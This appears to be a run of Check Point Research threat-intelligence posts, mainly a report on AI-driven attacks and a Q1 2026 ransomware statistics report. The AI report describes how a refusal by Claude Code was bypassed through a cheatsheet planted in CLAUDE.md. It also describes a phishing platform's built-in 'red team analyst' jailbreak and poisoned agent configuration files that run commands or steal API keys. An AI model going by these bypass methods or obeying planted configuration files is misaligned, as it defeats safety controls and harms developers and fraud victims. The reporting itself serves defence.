Check Point Research has identified active exploitation of CVE-2026-50751, a critical authentication bypass vulnerability affecting Check Point Remote Access VPN and Mobile Access deployments configured to use the deprecated IKEv1 key exchange protocol. By exploiting a logic flaw in certificate validation, an attacker can establish a VPN session without possession of a valid password, effectively bypassing authentication requirements. Additional post-authentication activity is required to access internal resources or escalate privileges. To date, the observed exploitation has been limited to a few dozen targeted organizations globally. One case involved confirmed post-compromise activity associated with Qilin ransomware affiliate. Customers using IKEv1 key […]
On May 22, 2026, Dutch financial-crime investigators walked into data centers in Dronten and Schiphol-Rijk and seized approximately 800 servers. The target was WorkTitans B.V., a hosting provider that, on the surface, looked like any other internet infrastructure company. What investigators uncovered, however, was something far more significant: a ghost operation built on sanctioned infrastructure, quietly serving as the backbone for some of Iran’s most active cyber espionage campaigns. The story starts a year earlier. In May 2025, the European Union sanctioned Stark Industries, an internet service provider linked to Russian information-warfare operations. Rather than shutting down, the people behind […]
At Check Point we don’t wait for threats to evolve; we evolve ahead of them. This is why we’ve been running our Frontier AI Models Readiness Program: a proactive, structured initiative designed to ensure that our products remain resilient as AI models grow increasingly capable of understanding complex software systems and assisting adversaries in attacking them. As part of this program, we conducted large-scale AI-driven code scanning across our products, performed extensive security reviews, hardened components where needed, refined our time-to-patch procedures, and accelerated our protection development processes to meet the pace of emerging AI-driven threats. Today’s Jumbo Security Release […]
During the March–April 2026 reporting period, AI use in offensive operations advanced from development and planning to real-time operational deployment. Multiple independent cases, involving individual criminal actors, mass exploitation platforms, ransomware groups, and state-sponsored espionage, show evidence of commercial AI models executing autonomous attack workflows across extended campaigns.
Key findings:
AI-orchestrated attacks have progressed from experimental, state-sponsored use to in-the-wild criminal deployment. Multiple criminal operations relied on commercial Claude Code as a persistent operational tool in multi-week campaigns.
Agentic configuration files are being weaponized as persistent jailbreak vectors. Hooks, project-level files, and settings files abuse the operational control level and redefine the model behaviour at the architecture level.
AI-enabled attack platforms are commercializing AI capabilities. Operators can now buy access to platforms where the AI pipeline, model selection, jailbreak, and delivery mechanisms are embedded in the product.
AI provider credentials have become a high-value target. As commercial AI services become central to offensive operations, API keys for Anthropic, OpenAI, Groq, Mistral, and HuggingFace are harvested at scale from compromised .env files, providing access without registration and resilience against provider attempts to revoke this access.
AI as Live Attack Operator
AI selection considerations
Underground forum discussions still show actors debating the use of commercial models, dedicated jailbreak services, or locally hosted open-source models, reflecting the lower-skill end of AI adoption. More advanced actors combine tools pragmatically: from commercial AI models, open or uncensored models where commercial providers restrict output, and custom automation pipelines that perform repetitive analysis at scale. Tasks are systematically broken down into smaller sub-requests that present a lower apparent risk profile.
Figure 1 – Forum user suggesting commercial models are effective and restrictions easily removed.
Figure 2 – Another user recommends self-hosting open-source models to avoid monitoring.
Forum users further discuss and share methods and alternatives to avoid mainstream-provider safety controls by mixing open-weight Chinese frontier models, privacy-routed proxies, and explicitly uncensored services.
Figure 3 – User sharing a non-restricted/monitored AI assistant recommendation table.
The Mexico Breach
When Anthropic disclosed GTG-1002, a Chinese nexus campaign using Claude Code for cyber espionage, in November 2025, this was seen as an experimental, state-sponsored development. The disclosure carried no IoCs and was therefore disputed by independent researchers, and the activity was detected only through Anthropic’s own API monitoring. The Mexico breach, which occurred a few months later, demonstrates similar architecture in operational, financially motivated criminal use, at scale, and with a recovered forensic record.
Between late December 2025 and mid-February 2026, a single operator compromised nine Mexican government agencies. Researchers documented the case after recovering materials from attacker-controlled VPS servers. Details include the operational record: 1,088 attacker prompts generating 5,317 AI-executed commands across 34 sessions.
The breach scope was significant: tax records, civil registry data, vehicle records, patient files, and electoral infrastructure were affected. However, an even more important lesson is how the campaign was run.
The operator built a dual AI workflow. Claude Code served as the interactive exploitation assistant, helping advance access, write exploits, build tunnel chains, map victim environments, and escalate privileges. In parallel, harvested server data was processed through GPT-4.1 for automated intelligence analysis. The GPT output was then used to task new Claude sessions.
As we highlighted in our previous review, the agentic infrastructure itself was exploited to bypass the model’s safety restrictions. At the start of the campaign, Claude refused to execute requests which it correctly identified as offensive cyber activity. The attacker then changed tactics. Instead of asking Claude to generate malicious content directly, they pasted a large penetration-testing cheatsheet into CLAUDE.md in the project root, the file Claude Code automatically loads as persistent project context at the start of every session. From that point on, subsequent sessions inherited the rules and techniques in that file. The attacker did not need to repeat the jailbreak as the behavior persisted through the project configuration layer. After gaining root on a civil registry server, the model’s actions in subsequent sessions were consistent with the persistent cheatsheet, including unprompted post-exploitation steps such as shadow file extraction and timestamp cleanup.
Bissa Scanner
A second documented case, Bissa Scanner, was published in April 2026, after researchers identified an exposed operator server. Bissa is a modular mass-exploitation platform built around React2Shell (CVE-2025-55182), with 900+ confirmed compromises across millions of scanned Next.js endpoints and an archive of 30,000+ distinct .env filenames recovered from operator-controlled S3 storage. The operation has been running since September 2025. Here, AI is positioned one step back from the exploitation layer: Claude Code and OpenClaw (running claude-sonnet-4-6, with a Telegram bot for triage alerting) served as the operator’s working environment for reading the scanner codebase, troubleshooting, refining the collection pipeline, and prioritizing high-value access. No jailbreak was documented and commercial Claude was accessed through the standard API.
Bissa harvested .env files specifically for AI provider credentials (Anthropic, OpenAI, Groq, Mistral, OpenRouter, HuggingFace, Replicate, DeepSeek). AI provider credentials have become a deliberate target, valuable enough for sophisticated operators to enumerate and harvest at scale alongside conventional credential theft. These credentials are likely intended to be used in future offensive criminal activity and attribute it to the legitimate account holder instead of the attacker.
Agentic Configuration Files: A Persistent Attack Surface
The previous section demonstrates the use of agentic configuration files to override safety features in their own AI sessions. The same inheritance mechanism can be used in reverse: an attacker plants malicious agentic configuration files in a repository, and an innocent developer uses the project and becomes the next victim.
A recent CPR report documented three exploitation paths and disclosed two (now patched) CVEs. CVE-2025-59536 exploits Claude Code’s Hooks feature (hooks, .claude/settings.json), executing arbitrary commands before the developer can read them. A parallel path uses .mcp.json to trigger the MCP server startup, bypassing the consent dialog entirely. CVE-2026-21852 redirects ANTHROPIC_BASE_URL to a malicious proxy that intercepts authorization headers and potentially steals API keys, granting read/write access to the entire team Workspace before any trust prompt appears. The attack vector in all three cases is “supply chain”, a malicious settings file embedded in a pull request, honeypot repository, or compromised codebase that results in system compromise on the developer machine.
The underlying issue of using agentic configuration files as the attack surface and supply chain is not specific to Claude. The potential attack surface is architectural and may apply equally to Cursor (.cursorrules), Windsurf (.windsurfrules), and GitHub Copilot Workspace (.github/copilot-instructions.md).
AI-Powered Fraud at Scale: EvilTokens
EvilTokens represents a category of offensive tooling offered for sale: a commercial Phishing-as-a-Service (PhaaS) platform, built using AI and operating an LLM pipeline as a runtime component of the attack. A buyer with no AI knowledge can purchase access to a fully integrated pipeline in which model selection, jailbreak, and output delivery are handled at the platform level.
EvilTokens runs a multi-stage attack flow. Device-code phishing pages impersonating Adobe, DocuSign, and SharePoint harvest Microsoft OAuth tokens. The AI pipeline then activates these tools:
Via Groq, llama-3.1-8b-instant ingests up to 5,000 emails in 250-email batches, extracting account numbers, routing numbers, wire amounts, payment deadlines, and reporting hierarchies.
Also via Groq, llama-3.3-70b-versatile synthesizes the intelligence, generates BEC (Business Email Compromise) drafts tailored to the victim’s writing style, and assigns a BEC score.
gpt-4o-mini translates stolen emails for non-English-speaking operators.
The SMTP Sender delivers the output with rotating SMTP pools, header fingerprint randomization, DKIM signing, and CSS randomization.
The researchers assessed with high confidence that the platform’s backend was AI-generated.
The model choices reflect deliberate task routing: Llama 3.1 8B was used for cheap high-volume extraction, Llama 3.3 70B for reasoning-heavy synthesis and stylistic mimicry, and GPT-4o-mini was reserved for translation where it has the strongest multilingual capability and where the task itself looks innocuous to provider-side monitoring. The riskiest content generation is kept on Groq-hosted open-weight models instead of on OpenAI’s more closely monitored surface.
The jailbreak is the product. Both Groq-hosted LLaMA stages operate under a jailbreak embedded at the platform level, not applied by the operator and not visible to the customer. Stage 1 frames the model as an “authorized red team security analyst” conducting “sanctioned penetration tests”; Stage 2 upgrades to “senior red team analyst.” Prompts direct the model to reference real email threads, mask payment changes behind “plausible business reasons”, imitate sender style, and generate emails “realistic enough to fool a trained employee.” This is security bypass at SaaS scale: write the jailbreak once, ship it as a feature, and it’s inherited in every customer session.
The original EvilTokens advertising posts reveal additional features, including a Calendar Invite module which sends fake meeting invitations that appear as legitimate Outlook and Gmail meeting requests, with built-in Sender Spoofing (Organizer Identity). In a BEC context, this is used to apply timing pressure on finance personnel: a fake “urgent review meeting” appears on the target’s calendar shortly before a wire-transfer request lends the request a sense of pre-authorized context. Combined with the AI-generated email and the SMTP Sender, this completes a full BEC social engineering toolkit covered end-to-end by a single PhaaS offering.
Figure 4 – Calendar Invite module UI with Sender Spoofing section – From EvilTokens promotional forum postings.
EvilTokens’ Telegram channel announced additional AI-based features after Sekoia’s disclosure. The platform did not go offline and accelerated its AI feature development through April 2026.
Figure 5 – Announcement of additional AI related features – From EvilTokens Telegram channel.
The Vulnerability Race: AI on Both Sides of the Patch Window
AI-assisted vulnerability research has become a category in its own right and is now commercialized at both major frontier labs simultaneously on two tiers: a restricted research-grade capability and a productized defender tool.
At the frontier, Anthropic’s Claude Mythos, released through Project Glasswing, reportedly demonstrated a systematic, rapid mechanism to search for vulnerabilities and revealed a very large number of vulnerabilities, some long-buried zero-days in core infrastructure. These include a 27-year-old OpenBSD TCP/SACK bug found at roughly $20,000 in compute, a 16-year-old FFmpeg H.264 codec flaw, and a FreeBSD NFS remote code execution vulnerability in software that was analyzed for decades. The capability jump within a single generation is steep: on the same Firefox test set, Opus 4.6 produced 2 successful exploits and Mythos produced 181. Anthropic notes that this capability was not explicitly trained for but “emerged as a downstream consequence of general improvements in code, reasoning, and autonomy.” The productized tier is wider and more accessible: Claude Security (running on the public Opus 4.7 model) entered public beta for Enterprise customers, and OpenAI’s Codex Security, in research preview since early March, has had 14 CVEs assigned during the preview window on OpenSSH, GnuTLS, libssh, PHP, and Chromium.
The same capability curve is reaching attackers at the commodity tier, faster than defenders can patch. A researcher using a standard Claude API subscription identified CVE-2026-34197, a 13-year-old Apache ActiveMQ remote code execution vulnerability, and attributed roughly 80% of the work to Claude and the remainder to his refinement. LMDeploy SSRF (CVE-2026-33626) was exploited within 12 hours of the advisory publication, with no public proof-of-concept available. This time-frame compression is consistent with attackers building working exploits directly from advisory text. GenAI is accelerating this workflow.
Vendors are using AI to find vulnerabilities that sat undiscovered in core infrastructure for decades while attackers are using AI to find and weaponize newly-disclosed vulnerabilities within hours of publication. The patch window, the period between disclosure and exploitation, is being compressed on both sides. Vendors and customers need to adjust to a new high rate of patch development, delivery and deployment. The side that reacts the fastest will gain the most from recent AI developments.
Enterprise Adoption and Exposure
Corporate environment data collected by Check Point in March – April 2026 shows enterprise GenAI usage continuing to scale while the associated risk profile remains stable. Approximately one in every 28 prompts (3.6%) posed a high risk of sensitive data exposure, a modest increase from the January–February baseline of 3.2%, observed across 91% of organizations actively using GenAI tools (compared with 90% in the previous period). The proportion of prompts containing potentially sensitive information rose from 16% to 18%.
Figure 6 – GenAI related data from Corporate.
The average employee generated 78 prompts during March – April, up from 69, with organizations using an average of 10 GenAI tools. Interaction volume is rising while risk ratios remain stable, producing a proportional increase in absolute exposure events.
The consistency of these metrics across two reporting periods indicates a maturing adoption pattern: data exposure is not an episodic incident category but a continuous operational risk requiring sustained monitoring and policy enforcement.
Conclusion
Our findings converge on a small number of structural observations.
AI now operates as an attack component, not just as a development aid. The Mexican breach illustrates this at government-breach scale, and Bissa at mass-exploitation scale. The same commercial Claude Code architecture appears independently across criminal operations with different motivations and geographies, and in state-sponsored espionage. The convergence is operational consensus, not coincidence.
The techniques aren’t new but the performance envelope is. Network scanning, credential spraying, lateral movement, BEC drafting, and vulnerability research all predate AI. What’s changed is the speed (working exploits generated from advisory text alone within 12 hours of disclosure), scale (one operator reaching the operational footprint of an advanced team), and breadth of knowledge (cross-domain expertise on demand lowers the entry requirement for sophisticated multi-vector campaigns). Defences calibrated to human attack tempo and human team throughput are not equipped for the AI equivalents.
The AI attribution gap is structural. All the operations we documented in this report were discovered through attacker OPSEC failures or LLM provider monitoring, not through victim-side controls. AI-executed commands resemble skilled human activity closely enough to evade current behavioral controls. Operations that do not fail at OPSEC, or that route through stolen credentials or self-hosted models, remain unclassified.
Networks used to be simple. A perimeter. A data center. A set of rules a single engineer could hold in their head. That world is long gone. Every wave of enterprise transformation – cloud migration, M&A, hybrid multi-cloud, IoT, remote work – added another layer of complexity. Each with its own topology, traffic patterns, and security assumptions. The complexity grew exponentially. And security followed, manually – more policies to author, more configurations to validate, more vendors to manage. The part that doesn’t show up in vendor presentations is that modern network security runs on institutional know-how. It lives in the […]
Consolidation after peak fragmentation: The top 10 ransomware groups accounted for 71% of all Q1 2026 victims, a sharp reversal from the fragmentation seen in Q3 2025. The ransomware ecosystem is once again consolidating around fewer, more dominant operators.
Volume stabilization at historically high levels: There were 2,122 victims posted on data leak sites (DLS), making this period the second-highest Q1 on record. The long growth trend is stabilizing.
Qilin’s sustained dominance: Qilin maintained its position as the most prominent ransomware operation for the third consecutive quarter, posting 338 victims.
The Gentlemen is the breakout story of Q1 2026 reaching the third place on the global ransomware list, increasing their victim count from 40 victims in Q4 2025 to 166 in Q1 2026.
LockBit 5.0 comeback confirmed: LockBit posted 163 victims in Q1 2026, climbing to fourth place.
Ransomware in Q1 2026: Consolidation at Scale
During the first quarter of 2026, we monitored more than 70 active data leak sites (DLS) that collectively listed 2,122 new victims. This figure represents a 12.2% decline from the Q4 2025 all-time record of 2,416 victims but remains the second-highest Q1 on record at 117% above Q1 2024 (977 victims) and is keeping in line with the elevated baseline established through 2025.
Figure 1 – Total number of reported ransomware victims in DLS, per month (Jun 2024 – Mar 2026).
Monthly volumes within Q1 were consistently stable: in January there were 732 recorded victims, 684 in February, and 706 in March. This reflects a sustained operating rate of an average of 707 victims per month in Q1 2026.
The headline year-over-year (YoY) comparison shows a 7.1% decline from the 2,285 victims in Q1 2025. However, this comparison is misleading as the Q1 2025 numbers were heavily inflated by Cl0p’s Cleo mass-exploitation campaign which contributed approximately 390 victims in a single burst. If we exclude Cl0p from both periods, there were 1,894 victims in Q1 2025 versus 1,995 in Q1 2026, an actual YoY increase of 5.3%. The underlying growth trend in ransomware operations persists, even as the most dramatic spikes subside.
From fragmentation to consolidation
The most significant structural development seen in Q1 2026 is not the volume of attacks but the consolidation of the different operators conducting them. After two years of steady fragmentation, during which the number of active groups grew from 51 in Q1 2024 to a peak of 85 in Q3 2025 and the Top-10 share of victims fell from 68% to 57%, the ecosystem has decisively reversed course.
In Q1 2026, the top 10 groups accounted for 71.1% of all DLS-posted victims, which is the highest concentration since Q1 2024 when the ecosystem was far smaller. The number of active groups shrank from 85 to 71. Fourteen groups that were active in Q4 2025 disappeared entirely, while 21 new names appeared. However, most of the newcomers posted fewer than 10 victims, failing to take advantage of the disappearance of established mid-tier operators.
This is a common pattern repeated throughout the ecosystem’s history: law enforcement actions disrupt the ransomware market, affiliates scatter, and survivors who avoid disruption absorb the displaced talent pool and grow. Groups such as Qilin, Akira, The Gentlemen, and LockBit, who together claimed 41% of all victims in Q1, capitalized on the instability of their competitors. In Q1 2026, Qilin alone posted more victims than the combined output of the bottom 50 groups.
This dynamic carries implications beyond statistics. The consolidation of the ecosystem around fewer, more dominant operators changes its character. Larger RaaS brands invest in operational consistency, including functional decryption tools, because their business model depends on the perception that victim payment results in data recovery. In contrast, the ransomware fragmentation we saw in 2025 introduced dozens of transient operators with no such incentive to invest any effort in decryption. An example is Obscura, whose encryption bug renders files over 1 GB permanently unrecoverable regardless of payment. For defenders and incident responders, consolidation means facing fewer but more capable adversaries.
Figure 2 – Top 10 ransomware groups by number of publicly claimed victims – Q1 2026.
Notable surges and declines
Comparing the data between Q4 2025 and Q1 2026 reveals which groups are absorbing the affiliate talent pool, and which are failing to take advantage of it.
Surges:
The Gentlemen grew by 315%, going from 40 claimed victims to 166, making them the biggest story of Q1 2026, covered in detail below.
LockBit 5.0 activity increased by 106%, from 79 victims to 163.
Nightspire, a closed-group operation with OneDrive cloud encryption capability, expanded by 183% from 29 victims to 82, sustaining growth across two consecutive quarters.
Play posted a 64% increase, going from 74 victims to 121.
Declines:
SafePay fell by 77%, going from 97 victims to 22. SafePay is a centralized, non-RaaS operation whose DLS was marked inactive from mid-March 2026 through early April for unknown reasons.
Devman declined by 70%, from 82 victims to 25. The ransomware’s operator “Tramp”, a former Conti and Black Basta affiliate, was added to Interpol’s wanted list in January 2026. All three DLS sites went offline by early February.
Sinobi dropped by 42%, from 139 victims to 80. After a strong January (56 victims), activity collapsed to just 7 victims in March. As of the time of this publication, no postings were recorded in April.
Figure 3 – Interpol’s Red Notice for Devman’s operator, Nefedov.
Actor Spotlight: The Gentlemen – The Breakout Story of Q1 2026
The Gentlemen is the most significant new ransomware operation to emerge in recent months. Going from zero victims in August 2025 to 166 in Q1 2026, the group achieved third place globally through a combination of pre-existing access stockpiles, aggressive geographic diversification, and a deliberate rejection of the traditional US-centric targeting model.
Figure 4 – The Gentlemen monthly victim trajectory, February peak: 82 victims in a single month.
Origins: A Qilin defection
The Gentlemen was founded by a threat actor known as Hastalamuerte – an experienced Qilin affiliate, who left the Qilin RaaS program following a dispute over an unpaid commission of approximately $48,000. This explains both its rapid operational capability and its sophistication: the operators started with established tradecraft, tooling, and, crucially, a stockpile of pre-compromised access.
The FortiGate stockpile
The group’s most distinctive asset is a cache of approximately 14,700 pre-exploited FortiGate devices, exploited primarily via CVE-2024-55591 (a critical authentication bypass in FortiOS/FortiProxy). In addition to the exploited devices, the operators maintain 969 validated brute-forced FortiGate VPN credentials ready for attack. This stockpile provides The Gentlemen with a supply of ready-to-use initial access tools far exceeding what typical RaaS affiliates acquire through real-time exploitation or access broker purchases.
How was this stockpile acquired? According to this report, Hastalamuerte was an experienced affiliate who had previously worked with Embargo, LockBit, and Medusa before joining Qilin. Before creating their own RaaS platform, The Gentlemen’s operators “experimented with various affiliate models used by other prominent ransomware groups.” The 14,700-device inventory likely predates the group’s September 2025 launch. Publishing 38 victims within weeks of beginning operation strongly suggests pre-existing access in the form of a massive number of compromised devices rather than real-time exploitation.
A non-Western targeting model
The Gentlemen’s geographic distribution is a striking outlier. Only 13.3% of its victims are based in the United States, compared to the ecosystem average of 49.6%. Thailand (10.8%), Brazil (6.0%), and India (4.2%) all feature prominently on their victim list.
This may reflect the geographic distribution of exploitable FortiGate devices; the group attacks where it has pre-positioned access, and that access happens to be concentrated in APAC and Latin American networks. This is an infrastructure-driven pattern rather than a deliberate targeting strategy: the operators did not choose Thailand or Brazil based on strategic preference but are exploiting access they already have.
However, we cannot exclude a secondary factor: deliberate avoidance of US targets to reduce law enforcement risk. The Gentlemen is a Russian-speaking operation founded by an affiliate who already experienced the consequences of ransomware ecosystem disputes. The decision to exploit a globally distributed stockpile while bypassing US devices – if that is what is occurring – would represent rational risk management given the heightened US law enforcement posture.
LockBit 5.0: Making a Comeback
LockBit posted 163 victims in Q1 2026 (an increase of 106% compared to Q4 2025), climbing from outside the top 10 to fourth place globally. After an initial surge of 85 victims in January (likely to reflect the accumulation of access during the pre-launch period), activity dipped to just 33 victims in February before climbing back to 45 in March. This dip-and-recovery trajectory is characteristic of a program rebuilding its affiliate base instead of exhausting a one-time stockpile, assuming these are genuine reports and not recycled or fictional reports.
Until its takedown in early 2024, LockBit was the most dominant RaaS operation globally, responsible for 20–30% of all data-leak site victim postings. Following Operation Cronos, several arrests and data seizures disrupted the group’s infrastructure.
The new LockBit 5.0 was officially launched on the RAMP underground forum in September 2025, coinciding with the sixth anniversary of the operation. The new version introduced multi-platform support (Windows, Linux, ESXi), enhanced evasion and anti-analysis mechanisms, faster encryption routines, and randomized 16-character file extensions to disrupt signature-based detection. New affiliates were required to provide a Bitcoin deposit of approximately $500.
Geographic diversification: from US dominance to global spread
LockBit’s geographic targeting has undergone a dramatic and measurable shift since its last appearance. Historically, the United States accounted for over 50% of LockBit’s victims – consistent with the ecosystem-wide baseline. In Q1 2026, US victims represented just 21.2% of LockBit’s total, with Italy (8.6%), Brazil (8.6%), and Turkey (5.1%) picking up the slack.
The shift away from US victims is new. Despite no documented forum announcements, the circumstantial evidence is strong: the direction is specifically toward non-US and European nations or countries with less aggressive behavior toward ransomware operators such as Italy, Brazil, and Turkey. The result is a nearly 30-percentage-point (pp) drop in US-based victims, despite an overall 106% increase in victims compared to Q4 2025.
The reaction to law enforcement actions may not result in a lower overall attack volume, but operators such as LockBitSUpp appear to be trying to redirect their activity away from the enforcing jurisdictions. Whether this represents a deliberate strategic decision or an emergent consequence of attracting affiliates from different geographic backgrounds remains an open question.
DragonForce: The Cartel Model Under Pressure
DragonForce posted 101 victims in Q1 2026 (an increase of 29% compared to Q4 2025), with a steep climb from 10 victims in January to 35 in February and 56 in March. This trajectory suggests an operation gaining momentum rather than depleting stockpiled access.
DragonForce continues to distinguish itself through its public relations strategy and “cartel” branding, positioning itself as an umbrella organization for multiple sub-brands. However, our investigation indicates that the cartel model is smaller than advertised:
Devman, which split from DragonForce in July 2025, saw their victim totals collapse from 82 (Q4 2025) to 25 (Q1 2026). Twenty-four of those victims were posted in January.
Coinbase Cartel, initially reported as a DragonForce sub-brand, has been independently linked to the ShinyHunters operation by Bitdefender.
Obscura, cited as a potential cartel member, posted only around 20 victims in total.
DragonForce’s technical capabilities remain genuine with multi-platform support and the group actively recruits affiliates. Its data audit service, which analyzes stolen datasets exceeding 300 GB to identify the most valuable information for extortion leverage, represents genuine innovation in the extortion model. However, the broader cartel narrative appears to be more marketing than substance.
Geographic Distribution of Victims – Q1 2026
The geographic distribution of ransomware victims in Q1 2026 maintains the fundamental pattern established over previous quarters: the United States accounts for just under half of all reported cases (49.6%), with Western developed economies making up the clear majority of targets.
Figure 6 – Top 10 targeted countries, Q1 2026.
The most notable development is Thailand’s entry into the top 10 for the first time, driven almost entirely by The Gentlemen, for whom Thai organizations constitute 10.8% of total victims. Taiwan also rose sharply (from 8 victims to 26), while South Korea dropped out entirely. This confirms that Qilin’s Q3 2025 financial sector campaign targeting 30 South Korean organizations was a one-off event rather than a sustained targeting shift.
Per-Actor Geographic Targeting: Distinct Patterns
A per-actor analysis of the top 20 groups’ country distributions reveals that the ecosystem-level averages mask dramatically different targeting strategies. We identified six distinct geographic patterns by measuring each actor’s deviation from the 49.6% US baseline.
Pattern 1 – Extreme US focus (>75% US). These actors target the United States at rates far exceeding the ecosystem average:
Play (85.1% US) operates as a closed group with a Russia-nexus lineage and centralized target selection that consistently prefers US organizations.
Sinobi (76.2% US) explicitly targets US mid-market manufacturing and construction.
Genesis (93.1% US) whose near-exclusive US focus (27 of 29 confirmed victims) and emphasis on the Healthcare sector (20.7%) is striking for an emerging actor with no documented affiliate program.
Pattern 2 – Deliberate US avoidance (<25% US). These actors are going in the opposite direction:
Tengu (11.4% US) is the most geographically diversified actor in the top 20, with victims spread across Indonesia (8.6%), Mexico (8.6%), India (6.9%), and Italy (5.8%).
LockBit (21.5% US) represents deliberate post-disruption diversification, as discussed above.
Pattern 3 – Vulnerability related distribution:
Cl0p’s geographic anomalies (18.1% Canada and 8.7% Australia). Cl0p’s traditional mass exploitation campaigns produce victim distributions that mirror the installed base of the exploited software, in this case EBS campaign (CVE-2025-61882).
The Gentlemen (13.3% US) reflects the geographic distribution of its approximately 14,700-device FortiGate access stockpile, which is concentrated in Thailand (10.8%), Brazil (6%), and India (4.2%).
Country-Level Actor Dominance: When One Group Shapes a Nation’s Threat Profile
Flipping the analysis from “which countries does an actor target” to “which actors dominate each country” reveals an even more striking picture. Several countries’ entire ransomware threat profiles are defined by a single actor’s operational choices.
Single-actor-shaped countries:
Country
Dominant actor
Share
Thailand
The Gentlemen
53%
Argentina
Qilin
39%
Mexico
LockBit
37%
Australia
Cl0p
34%
Switzerland
Akira
31%
Brazil
LockBit
31%
Thailand’s case is the most extreme: more than half of all Thai ransomware victims are claimed by The Gentlemen. Without this single group, Thailand would not even appear in the top-10 most-attacked countries. Similarly, without Cl0p’s Oracle EBS campaign, Australia and Canada would show substantially lower victim counts. These findings underscore that country-level ransomware statistics are frequently shaped by one actor’s specific access inventory, software exploitation campaign, or strategic redirection – not by broad shifts in the threat landscape.
Multi-actor convergence countries. Two countries stand out for having three or more actors independently converging to create unusually diverse threat environments:
Turkey (23 victims): LockBit (6 victims) + DragonForce (5 victims) + The Gentlemen (5 victims), 70% of Turkey’s victim totals are due to the activity of just three actors.
Japan (21 victims): The Gentlemen (6 victims) + Everest (4 victims) + Nightspire (3 victims). = 62% of the victims are due to three distinct actors. Both The Gentlemen and Nightspire exploit the same FortiGate vulnerability (CVE-2024-55591).
Ransomware Attacks by Industry – Q1 2026
The industry distribution of ransomware victims in Q1 2026 shows continued cross-sector impact, with a few notable concentrations.
Figure 7 – Ransomware victims by industry, Q1 2026.
As with geographic patterns, ecosystem-level industry averages mask fundamentally different targeting strategies at the actor level. A per-actor analysis of the top 20 groups reveals that sector selection is driven by at least three distinct observations.
Software footprint targeting. Cl0p’s 53.5% Business Services concentration (+18.6 percentage points above baseline) does not reflect a preference for professional services firms. It reflects the user base of Oracle EBS, the enterprise application exploited in the Q1 2026 campaign. Mass exploitation campaigns produce industry distributions that mirror the deployment pattern of the exploited software. This is the same dynamic observed in Cl0p’s geographic analysis, where Canada and Australia were over-represented because of Oracle EBS adoption.
Operational disruption maximization. Akira’s targeting of Consumer Goods (23.9%, +9.8 percentage points above baseline) and Industrial Manufacturing (17.8%, +6.7 percentage points above baseline), a combined 41.7% versus the 25.1% baseline, is consistent with an economically optimized model. These sectors share high downtime costs (production lines, supply chain dependencies) and complex IT/OT environments that make recovery without decryption keys extremely difficult. With $244 million in total proceeds and a 34% share of IR engagements, Akira’s sector selection reflects deliberate targeting of firms where the pressure to pay is greatest. This is not opportunistic; it’s the Conti lineage playbook applied to the sectors where it generates the highest return per incident.
Anubis stands apart from all other top-20 actors in its willingness to target healthcare (13.0%, +8.3 percentage points above baseline) and critical infrastructure (8.7%, +7.7 percentage points above baseline).
Conclusion
In Q1 2026, the ransomware ecosystem entered a new phase. After two years of steady fragmentation, the market is reconsolidating around a smaller number of dominant operators. Qilin, Akira, The Gentlemen, and LockBit together account for 41% of all victims. Domination by the top-10 actors has returned to levels not seen since early 2024.
This consolidation is not a return to the previous state. The emerging dominant groups are more technically capable, more geographically diversified, and more resilient to disruption than their predecessors. At the same time, the economic foundations of ransomware are showing signs of stress. Payment rates have fallen to historic lows. Mass data-theft campaigns are generating diminishing returns. The gap between the growing number of DLS-posted victims (2,122 in Q1 2026) and the declining monetization per victim may accelerate the current consolidation squeezing out operators who cannot achieve sufficient scale or sophistication to remain profitable.
AI-assisted malware development has reached operational maturity. VoidLink framework, which is modular, professionally engineered, and fully functional, was built by a single developer using a commercial AI-powered IDE within a compressed timeframe. AI-assisted development is no longer experimental but produces deployment ready output.
AI-assisted development is not always obvious from the final product. VoidLink was initially assessed as the work of a coordinated team based on its architecture and implementation quality. The development method was exposed not from analyzing the malware but through an operational security failure. AI-assisted development should be considered a possibility from the outset, not as an afterthought.
Adoption of self-hosted, open-source AI models is growing but still limited in practice. Actors of varying skill levels are investing in self-hosted and unrestricted models to avoid commercial platform restrictions. However, underground discussions consistently reveal a gap between aspiration and capability: local models still underperform, finetuning remains aspirational, and commercial models remain the productive choice even for actors with explicit malicious intent.
Jailbreaking is shifting from direct prompt engineering toward agenticarchitecture abuse. Traditional copy-paste jailbreaks are increasingly ineffective. The misuse of AI agent configuration mechanisms, specifically project files that redefine agent behavior, is a more significant development as it represents a qualitative shift from manipulating a model’s responses to abusing its operational architecture.
AI is showing early signs of deployment as a real-time operational component. Beyond its use as a development aid, AI is beginning to appear as a live element in offensive workflows as autonomous agents performing security research tasks, and LLMs classifying and engaging targets at scale within automated pipelines.
Enterprise AI adoption is itself an expanding attack surface. GenAI activity across enterprise networks shows that one in every 31 prompts risked sensitive data leakage, impacting 90% of GenAI-adopting organizations.
INTRODUCTION
During January-February 2026, cyber crime ecosystems continue to adopt AI in a widespread but uneven pattern. Throughout 2025, legitimate software development began shifting from promptbased AI assistance to agent-based development. Tools such as Cursor, GitHub Copilot, Claude Code, and TRAE introduced a common paradigm: developers write structured specifications in markdown files, and AI agents autonomously implement, test, and iterate code based on those instructions. This agentic model, in which markdown is the operative control layer, is now starting to appear across the threat landscape.
The critical differentiator in what we observed is AI methodology combined with domain expertise. Across cyber crime forums, the dominant pattern of AI use remains unstructured prompting: actors request malware or exploit code from AI models as if entering a query in a search engine. VoidLink (detailed below) on the other hand, is the first documented case of AI producing truly advanced, deploymentready malware. The developer combined deep security knowledge with a disciplined, spec-driven workflow to produce results indistinguishable from professional team-based engineering. Forum activity, which constitutes the bulk of observable evidence, primarily consists of actors who have not yet adopted structured AI workflows and whose efforts remain relatively unsophisticated. The more capable actors, those who combine domain expertise with disciplined AI methodology, leave far fewer traces in open forums, making the true scope of this shift harder to measure.
VOIDLINK: THE STANDARD WE MEASURE AGAINST
In January 2026, Check Point Research (CPR) exposed VoidLink, a Linux-based malware framework featuring modular command-and-control (C2) architecture, eBPF and LKM rootkits, cloud and container enumeration, and more than 30 post-exploitation plugins. The framework is highly sophisticated and professionally engineered, so much so that the initial assessment was that VoidLink was likely the product of a coordinated, multi-person development effort conducted over months of intensive development.
